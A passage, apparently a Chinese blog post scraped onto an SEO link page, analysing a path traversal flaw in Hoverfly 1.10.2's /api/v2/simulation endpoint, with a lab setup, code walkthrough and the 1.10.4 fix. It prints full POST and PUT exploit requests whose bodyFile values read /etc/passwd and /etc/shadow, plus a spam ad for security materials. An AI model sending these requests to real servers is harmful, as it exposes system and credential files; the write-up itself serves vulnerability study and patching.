当前位置: 首页 > news >正文

网站设计标题宁波做网站建设

网站设计标题,宁波做网站建设,wordpress媒体库素材打不开,长沙招聘信息网漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而#xff0c;这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管…漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径从而访问任何任意文件。 环境搭建 我们还是利用 docker 来搭建环境 https://hub.docker.com/r/spectolabs/hoverfly/tags docker pull spectolabs/hoverfly:v1.10.2 docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   ‍ 漏洞复现 构造数据包 POST /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/passwd}} ]},meta:{schemaVersion:v5.2}} PUT /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded ​ {data:{pairs:[{ request:{},response: { bodyFile: ../../../../../etc/shadow}} ]},meta:{schemaVersion:v5.2}} 【----帮助网安学习以下所有学习资料免费领加vxdctintin备注 “博客园” 获取】 ① 网安学习成长路径思维导图  ② 60网安经典常用工具包  ③ 100SRC漏洞分析报告  ④ 150网安攻防实战技术电子书  ⑤ 最权威CISSP 认证考试指南题库  ⑥ 超1800页CTF实战技巧手册  ⑦ 最新网安大厂面试题合集含答案  ⑧ APP客户端安全检测指南安卓IOS 漏洞分析 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler​ 的路由注册方法路由的每个 HTTP 方法如 GET​、PUT​、POST​、DELETE​ 等都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema结构。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同所以两种请求方式都可以实现任意文件读取 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时首先删除前一个模拟内容可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容无法更新。 hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因对传入的参数 filePath 没有做具体的校验可以通过 ../​ 实现跨越目录的读取文件 我们看到最新版已经对传入的参数进行了处理 hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath​ 函数用于从一个绝对路径absBasePath​解析一个相对路径relativePath​并验证这个相对路径是否合法。具体来说它确保了相对路径不会尝试向上回溯使用 ..​并且解析后的路径仍然在基路径之下。
http://www.hkea.cn/news/14393952/

相关文章:

  • 潍坊网站建设平台学生成绩管理系统 网站建设
  • 关于我的大学的网站建设模板网站首页图片切换代码
  • 中国工程建设领域网站河南省财政厅经济建设网站
  • 上海个人医疗网站备案表江阴公司做网站
  • 青岛模板化网站深圳制作网站建设
  • 企业网站开发需求文档建设是哪里的
  • 邢台网站制作哪家好如何做自助网站
  • 学做ps的网站wordpress二次开发函数
  • 三亚网站制作公司东莞网站建设图表
  • 龙元建设集团有限公司网站建网站带app多少投资
  • 包头正规旅游网站开发哪家好开发者导航
  • 网络优化网站wordpress video gallery
  • 个人公司网站搭建如何制作公司网站和网页
  • 网站建设哪个公司顺的网站建设报价
  • xml是用来做网站的嘛哪里有做桥梁模型的网站
  • 建设彩票网站如何盈利宁波网站排名优化seo
  • 网络营销咨询网站源码网站换程序
  • 开源网站模板高要市建设局网站
  • 成都学网站建设益阳网站建设网站
  • 国外网站怎么做引流wordpress 百度云
  • 骆驼有没有做网站的公司咖啡建设网站的目的
  • 电子商务类网站模板品牌形象宣传策划方案
  • 莱芜住房和城乡建设部网站简道云crm
  • 食品经营许可网站增项怎么做阜阳网站制作公司哪里有
  • 如何做宣传自己公司网站网页设计与制作(第3版)书籍
  • 做360网站首页软件网上购物系统数据流图
  • 厦门大型网站设计公司长春网络科技公司排名
  • 网站建设及安全管理乐清站在那儿
  • 网站备份和备案的区别个人做金融网站能赚钱吗
  • 网站建设方案书怎么签字上传新网站做优化要准备什么